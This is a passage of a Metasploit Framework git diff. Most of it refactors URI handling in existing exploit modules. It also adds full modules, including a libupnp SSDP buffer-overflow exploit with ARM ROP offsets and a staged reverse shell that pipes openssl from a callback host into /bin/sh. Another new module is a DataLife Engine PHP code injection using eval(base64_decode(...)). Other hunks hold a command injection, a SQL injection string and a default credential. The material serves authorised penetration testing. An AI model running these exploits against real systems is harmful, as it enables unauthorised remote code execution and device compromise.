Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index caa7d8b2da98..f33f57bfb14a 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -64,7 +64,7 @@ def initialize(info = {}) ] ], 'DisclosureDate' => 'Jan 06 2012', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 2)) register_options( [ diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 28f3e0854e65..d91113a0653f 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -59,7 +59,7 @@ def initialize(info={}) def check - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' peer = "#{rhost}:#{rport}" @@ -67,7 +67,7 @@ def check begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}login.php" + 'uri' => normalize_uri(base, "login.php") }) return Exploit::CheckCode::Unknown if res.nil? @@ -185,7 +185,7 @@ def exploit begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}lib/attachments/attachmentupload.php?id=#{id}&tableName=#{table}", + 'uri' => normalize_uri(base, "lib/attachments/attachmentupload.php") + "?id=#{id}&tableName=#{table}", 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 @@ -221,7 +221,7 @@ def exploit begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/#{table}/#{id}/" + 'uri' => normalize_uri(base, "upload_area", table, id) }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @token = $1 @@ -238,11 +238,11 @@ def exploit # attempt to retrieve real file name from the database if @token.nil? print_status("#{@peer} - Retrieving real file name from the database.") - sqli = "lib/ajax/gettprojectnodes.php?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" + sqli = normalize_uri(base, "lib/ajax/gettprojectnodes.php") + "?root_node=-1+union+select+file_path,2,3,4,5,6+FROM+attachments+WHERE+file_name='#{fname}'--" begin res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}#{sqli}", + 'uri' => sqli, 'cookie' => datastore['COOKIE'], }) if res and res.code == 200 and res.body =~ /\b([a-f0-9]+)\.php/ @@ -263,7 +263,7 @@ def exploit begin send_request_cgi({ 'method' => 'GET', - 'uri' => "#{base}upload_area/nodes_hierarchy/#{id}/#{@token}.php" + 'uri' => normalize_uri(base, "upload_area", "nodes_hierarchy", id, "#{@token}.php") }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout print_error("#{@peer} - Connection failed") diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index 5fdf162a99c1..a46cd2c033f5 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -198,7 +198,7 @@ def exploit # # UPLOAD # - path_tmp = normalize_uri(datastore['PATH']) + "/deploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "deploy") + query_str print_status("Uploading #{war.length} bytes as #{app_base}.war ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -247,7 +247,7 @@ def exploit # # DELETE # - path_tmp = normalize_uri(datastore['PATH']) + "/undeploy" + query_str + path_tmp = normalize_uri(datastore['PATH'], "/undeploy") + query_str print_status("Undeploying #{app_base} ...") res = send_request_cgi({ 'uri' => path_tmp, @@ -263,7 +263,7 @@ def exploit end def query_serverinfo() - path = normalize_uri(datastore['PATH']) + '/serverinfo' + path = normalize_uri(datastore['PATH'], '/serverinfo') res = send_request_raw( { 'uri' => path diff --git a/modules/exploits/multi/http/traq_plugin_exec.rb b/modules/exploits/multi/http/traq_plugin_exec.rb index 54565c898e8e..ca61aeed054a 100644 --- a/modules/exploits/multi/http/traq_plugin_exec.rb +++ b/modules/exploits/multi/http/traq_plugin_exec.rb @@ -58,8 +58,7 @@ def initialize(info={}) end def check - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php" + uri = normalize_uri(datastore['URI'], "admincp", "login.php") res = send_request_raw( { @@ -75,8 +74,7 @@ def check def exploit p = Rex::Text.encode_base64(payload.encoded) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook" + uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook" res = send_request_cgi( { @@ -92,8 +90,7 @@ def exploit } }, 25) - uri = normalize_uri(datastore['URI']) - uri += (uri[-1, 1] == "/") ? "index.php" : "/index.php" + uri = normalize_uri(datastore['URI'], "index.php") res = send_request_cgi( { diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 5735349a01e8..3745fe16e3ef 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -55,9 +55,7 @@ def check flag = rand_text_alpha(rand(10)+10) data = "char_repl='{${print(#{flag})}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => "POST", @@ -82,9 +80,7 @@ def exploit data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>" - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'vbseocp.php' + uri = normalize_uri(datastore['URI'], 'vbseocp.php') response = send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index f4ba74ac4203..e93870a0bf72 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -63,8 +63,8 @@ def check uri << '/' if uri[-1,1] != '/' base = File.dirname("#{uri}.") - res1 = send_request_raw({'uri'=>"#{base}/index.php"}) - res2 = send_request_raw({'uri'=>"#{base}/work/resultimage.php"}) + res1 = send_request_raw({'uri'=>normalize_uri("#{base}/index.php")}) + res2 = send_request_raw({'uri'=>normalize_uri("#{base}/work/resultimage.php")}) if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and res2 and res2.code == 200 @@ -111,7 +111,7 @@ def exploit print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{base}/work/resultimage.php", + 'uri' => normalize_uri("#{base}/work/resultimage.php"), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s }) @@ -121,7 +121,7 @@ def exploit return end - @target_path = "#{base}/results/#{fname}" + @target_path = normalize_uri("#{base}/results/#{fname}") print_status("#{peer} - Requesting #{@target_path}") res = send_request_cgi({'uri'=>@target_path}) diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index f2c8d8de11e4..000336b98be8 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -87,7 +87,7 @@ def check def get_cookie res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php" + 'uri' => normalize_uri(@base, "wikka.php") }) # Get the cookie in this format: @@ -107,7 +107,7 @@ def get_cookie # def login(cookie) # Send a request to the login page so we can obtain some hidden values needed for login - uri = "#{@base}wikka.php?wakka=UserSettings" + uri = normalize_uri(@base, "wikka.php") + "?wakka=UserSettings" res = send_request_raw({ 'method' => 'GET', 'uri' => uri, @@ -163,7 +163,7 @@ def inject_exec(cookie) # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", + 'uri' => normalize_uri(@base, "wikka.php") + "?wakka=#{datastore['PAGE']}&show_comments=1", 'cookie' => cookie }) @@ -189,11 +189,11 @@ def inject_exec(cookie) # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" - uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" + uri = normalize_uri("#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment") post_data = "" send_request_cgi({ 'method' => 'POST', - 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", + 'uri' => uri, 'cookie' => cookie, 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, 'vars_post' => fields, @@ -202,7 +202,7 @@ def inject_exec(cookie) send_request_raw({ 'method' => 'GET', - 'uri' => "#{@base}spamlog.txt.php" + 'uri' => normalize_uri(@base, "spamlog.txt.php") }) end diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index d9a7bbab08a1..b9aae48bdf6f 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -17,7 +17,7 @@ def initialize(info={}) 'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution", 'Description' => %q{ This module exploits a vulnerability found in HP's StorageWorks P4000 VSA on - versions prior to 9.5. By using a default account credential, it is possible + versions prior to 9.5. By using a default account credential, it is possible to inject arbitrary commands as part of a ping request via port 13838. }, 'License' => MSF_LICENSE, @@ -50,9 +50,11 @@ def initialize(info={}) 'Arch' => ARCH_CMD, 'Targets' => [ - ['HP VSA prior to 9.5', {}] + [ 'Automatic', {} ], + [ 'HP VSA up to 8.5', { 'Version' => '8.5.0' } ], + [ 'HP VSA 9', { 'Version' => '9.0.0' } ] ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => "Nov 11 2011", 'DefaultTarget' => 0)) @@ -75,20 +77,53 @@ def generate_packet(data) pkt end + def get_target + if target.name !~ /Automatic/ + return target + end - def exploit - connect - - # Login packet - print_status("#{rhost}:#{rport} Sending login packet") + # Login at 8.5.0 packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 8.5.0") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res=~ /Login/ + return targets[1] + end + + # Login at 9.0.0 + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"9.0.0\"") + print_status("#{rhost}:#{rport} Sending login packet for version 9.0.0") sock.put(packet) res = sock.get_once vprint_status(Rex::Text.to_hex_dump(res)) if res + if res and res=~ /OK/ and res =~ /Login/ + return targets[2] + end + + fail_with(Msf::Exploit::Failure::NoTarget, "#{rhost}:#{rport} - Target auto detection didn't work'") + end + + def exploit + connect + + if target.name =~ /Automatic/ + my_target = get_target + print_good("#{rhost}:#{rport} - Target #{my_target.name} found") + else + my_target = target + print_status("#{rhost}:#{rport} Sending login packet") + packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"#{my_target['Version']}\"") + sock.put(packet) + res = sock.get_once + vprint_status(Rex::Text.to_hex_dump(res)) if res + end # Command execution print_status("#{rhost}:#{rport} Sending injection") data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/" + data << "64/5/" if my_target.name =~ /9/ packet = generate_packet(data) sock.put(packet) res = sock.get_once diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index fb3f1693f98c..90ebfa34a7c5 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -28,7 +28,7 @@ def initialize(info = {}) [ 'evilcry', # pbot analysis' 'Jay Turla', # pbot analysis - '@bwallHatesTwits', # PoC + 'bwall', # aka @bwallHatesTwits, PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb new file mode 100644 index 000000000000..ac7286c9b043 --- /dev/null +++ b/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb @@ -0,0 +1,349 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution', + 'Description' => %q{ + This module exploits a buffer overflow in the unique_service_name() + function of libupnp's SSDP processor. The libupnp library is used across + thousands of devices and is referred to as the Intel SDK for UPnP + Devices or the Portable SDK for UPnP Devices. + + Due to size limitations on many devices, this exploit uses a separate TCP + listener to stage the real payload. + }, + 'Author' => [ + 'hdm', # Exploit dev for Supermicro IPMI + 'Alex Eubanks ', # Exploit dev for Supermicro IPMI + 'Richard Harman ' # Binaries, system info, testing for Supermicro IPMI + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-5958' ], + [ 'US-CERT-VU', '922681' ], + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Privileged' => true, + 'Payload' => + { +# +# # The following BadChars do not apply since we stage the payload +# # through a secondary connection. This is just for reference. +# +# 'BadChars' => +# # Bytes 0-8 are not allowed +# [*(0..8)].pack("C*") + +# # 0x09, 0x0a, 0x0d are allowed +# "\x0b\x0c\x0e\x0f" + +# # All remaining bytes up to space are restricted +# [*(0x10..0x1f)].pack("C*") + +# # Also not allowed +# "\x7f\x3a" + +# # Breaks our string quoting +# "\x22", + + # Unlimited since we stage this over a secondary connection + 'Space' => 8000, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + # specific payloads vary widely by device (openssl for IPMI, etc) + } + }, + 'Targets' => + [ + + [ "Automatic", { } ], + + # + # ROP targets are difficult to represent in the hash, use callbacks instead + # + [ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", { + + # The callback handles all target-specific settings + :callback => :target_supermicro_ipmi_131, + + # This matches any line of the SSDP M-SEARCH response + :fingerprint => + /Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi + + # + # SSDP response: + # Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1 + # http://192.168.xx.xx:49152/IPMIdevicedesc.xml + # uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice + + # Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03) + + } ], + + [ "Debug Target", { + + # The callback handles all target-specific settings + :callback => :target_debug + + } ] + + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 29 2013')) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(1900), + OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]), + OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ]) + ], self.class) + end + + + def exploit + + configure_socket + + target_info = choose_target + + unless self.respond_to?(target_info[:callback]) + print_error("Invalid target specified: no callback function defined") + return + end + + buffer = self.send(target_info[:callback]) + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:schemas:device:" + buffer + ":end\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...") + + r = udp_sock.sendto(pkt, rhost, rport, 0) + + 1.upto(5) do + ::IO.select(nil, nil, nil, 1) + break if session_created? + end + + # No handler() support right now + end + + + + # These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc + def target_supermicro_ipmi_131 + + # Create a fixed-size buffer for the payload + buffer = Rex::Text.rand_text_alpha(2000) + + # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() + buffer[0,1] = '"' + buffer[1999,1] = '"' + + # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise + cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) + + # Start a listener + start_listener(true) + + # Figure out the port we picked + cbport = self.service.getsockname[2] + + # Restart the service and use openssl to stage the real payload + # Staged because only ~150 bytes of contiguous data are available before mangling + cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#" + buffer[432, cmd.length] = cmd + + # Adjust $r3 to point from the bottom of the stack back into our buffer + buffer[304,4] = [0x4009daf8].pack("V") # + # 0x4009daf8: add r3, r3, r4, lsl #2 + # 0x4009dafc: ldr r0, [r3, #512] ; 0x200 + # 0x4009db00: pop {r4, r10, pc} + + # The offset (right-shifted by 2 ) to our command string above + buffer[284,4] = [0xfffffe78].pack("V") # + + # Copy $r3 into $r0 + buffer[316,4] = [0x400db0ac].pack("V") + # 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1 + # 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4) + + # Move our stack pointer down so as not to corrupt our payload + buffer[320,4] = [0x400a5568].pack("V") + # 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198 + # 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc} + + # Finally return to system() with $r0 pointing to our string + buffer[141,4] = [0x400add8c].pack("V") + + return buffer +=begin + 00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev + 00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev + 00032000-00055000 rwxp 00000000 00:00 0 [heap] + 40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so + 40015000-40017000 rwxp 00000000 00:00 0 + 4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so + 4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so + 4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so + 4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so + 40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so + 40036000-40078000 rwxp 00000000 00:00 0 + 40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so + 40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so + 40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so + 40185000-40187000 rwxp 00000000 00:00 0 + bd600000-bd601000 ---p 00000000 00:00 0 + bd601000-bd800000 rwxp 00000000 00:00 0 + bd800000-bd801000 ---p 00000000 00:00 0 + bd801000-bda00000 rwxp 00000000 00:00 0 + bdc00000-bdc01000 ---p 00000000 00:00 0 + bdc01000-bde00000 rwxp 00000000 00:00 0 + be000000-be001000 ---p 00000000 00:00 0 + be001000-be200000 rwxp 00000000 00:00 0 + be941000-be956000 rwxp 00000000 00:00 0 [stack] +=end + + end + + # Generate a buffer that provides a starting point for exploit development + def target_debug + buffer = Rex::Text.pattern_create(2000) + end + + def stage_real_payload(cli) + print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...") + cli.put(payload.encoded + "\n") + end + + def start_listener(ssl = false) + + comm = datastore['ListenerComm'] + if comm == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + self.service = Rex::Socket::TcpServer.create( + 'LocalPort' => datastore['CBPORT'], + 'SSL' => ssl, + 'SSLCert' => datastore['SSLCert'], + 'Comm' => comm, + 'Context' => + { + 'Msf' => framework, + 'MsfExploit' => self, + }) + + self.service.on_client_connect_proc = Proc.new { |client| + stage_real_payload(client) + } + + # Start the listening service + self.service.start + end + + # + # Shut down any running services + # + def cleanup + super + if self.service + print_status("Shutting down payload stager listener...") + begin + self.service.deref if self.service.kind_of?(Rex::Service) + if self.service.kind_of?(Rex::Socket) + self.service.close + self.service.stop + end + self.service = nil + rescue ::Exception + end + end + end + + def choose_target + # If the user specified a target, use that one + return self.target unless self.target.name =~ /Automatic/ + + msearch = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:3\r\n\r\n" + + # Fingerprint the service through SSDP + udp_sock.sendto(msearch, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,addr,info = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /^(Server|Location)/mi + udp_sock.sendto(msearch, rhost, rport, 0) + end + + self.targets.each do |t| + return t if t[:fingerprint] and res =~ t[:fingerprint] + end + + if res and res.to_s.length > 0 + print_status("No target matches this fingerprint") + print_status("") + res.to_s.split("\n").each do |line| + print_status(" #{line.strip}") + end + print_status("") + else + print_status("The system #{rhost} did not reply to our M-SEARCH probe") + end + + fail_with(Exploit::Failure::NoTarget, "No compatible target detected") + end + + # Accessor for our TCP payload stager + attr_accessor :service + + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # + # Required since we aren't using the normal mixins + # + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + +end diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index 3fde5b946af7..c8a99cdb92fe 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -61,12 +61,11 @@ def initialize(info = {}) def check base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' sig = rand_text_alpha(10) res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => sig, 'new' => '1', @@ -86,10 +85,9 @@ def exploit print_status("Sending GET request...") base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' res = send_request_cgi({ - 'uri' => "/#{base}/Config/diff.php", + 'uri' => normalize_uri("/#{base}/Config/diff.php"), 'vars_get' => { 'file' => "&#{payload.encoded} #", 'new' => '1', diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 772eeb722c0a..170db130fce6 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -71,7 +71,7 @@ def initialize(info = {}) def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/picEditor.php' + 'uri' => normalize_uri(datastore['URI'], '/picEditor.php') }, 25) if (res and res.body =~ /Coppermine Picture Editor/i) @@ -98,7 +98,7 @@ def exploit res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(datastore['URI']) + "/picEditor.php", + 'uri' => normalize_uri(datastore['URI'], "/picEditor.php"), 'vars_post' => { 'angle' => angle, diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb new file mode 100644 index 000000000000..7497dd6f9bfa --- /dev/null +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -0,0 +1,95 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DataLife Engine preview.php PHP Code Injection', + 'Description' => %q{ + This module exploits a PHP code injection vulnerability DataLife Engine 9.7. + The vulnerability exists in preview.php, due to an insecure usage of preg_replace() + with the e modifier, which allows to inject arbitrary php code, when there is a + template installed which contains a [catlist] or [not-catlist] tag, even when the + template isn't in use currently. The template can be configured with the TEMPLATE + datastore option. + }, + 'Author' => + [ + 'EgiX', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-1412' ], + [ 'BID', '57603' ], + [ 'EDB', '24438' ], + [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ], + [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'Keys' => ['php'] + }, + 'DisclosureDate' => 'Jan 28 2013', + 'Targets' => [ ['DataLife Engine 9.7', { }], ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]), + OptString.new('TEMPLATE', [ true, "Template with catlist or not-catlit tag", "Default"]) + ], self.class) + end + + def uri + normalize_uri(target_uri.path, 'engine', 'preview.php') + end + + def send_injection(inj) + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'vars_post' => + { + 'catlist[0]' => inj + }, + 'cookie' => "dle_skin=#{datastore['TEMPLATE']}" + }) + res + end + + def check + fingerprint = rand_text_alpha(4+rand(4)) + + res = send_injection("#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//") + + if res and res.code == 200 and res.body =~ /#{fingerprint}/ + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + end + + def exploit + @peer = "#{rhost}:#{rport}" + + print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") + res = send_injection("#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//") + end +end diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 58b051af1b8f..9dc2044cd7e1 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -58,12 +58,11 @@ def initialize(info={}) end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}egallery/uploadify.php" + 'uri' => normalize_uri(uri, "egallery", "uploadify.php") }) if res and res.code == 200 and res.body.empty? @@ -97,7 +96,7 @@ def exploit print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}egallery/uploadify.php", + 'uri' => normalize_uri("#{uri}egallery/uploadify.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) @@ -113,7 +112,7 @@ def exploit # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}#{payload_name}" + 'uri' => normalize_uri("#{uri}#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index 0ccb1efcfdfd..c7fa522c9fd6 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -54,9 +54,8 @@ def initialize(info = {}) end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=' + uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php') + uri << '?type=file&folder=' res = send_request_raw( { 'uri' => uri diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb new file mode 100644 index 000000000000..39b3e8fe2868 --- /dev/null +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -0,0 +1,254 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nagios3 history.cgi Host Command Execution', + 'Description' => %q{ + This module abuses a command injection vulnerability in the + Nagios3 history.cgi script. + }, + 'Author' => [ + 'Unknown ', # Original finding + 'blasty ', # First working exploit + 'Jose Selvi ', # Metasploit module + 'Daniele Martini ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2012-6096' ], + [ 'OSVDB', '88322' ], + [ 'BID', '56879' ], + [ 'EDB', '24084' ], + [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2012-December/089125.html' ] + ], + 'Platform' => ['unix', 'linux'], + 'Arch' => [ ARCH_X86 ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 200, # Due to a system() parameter length 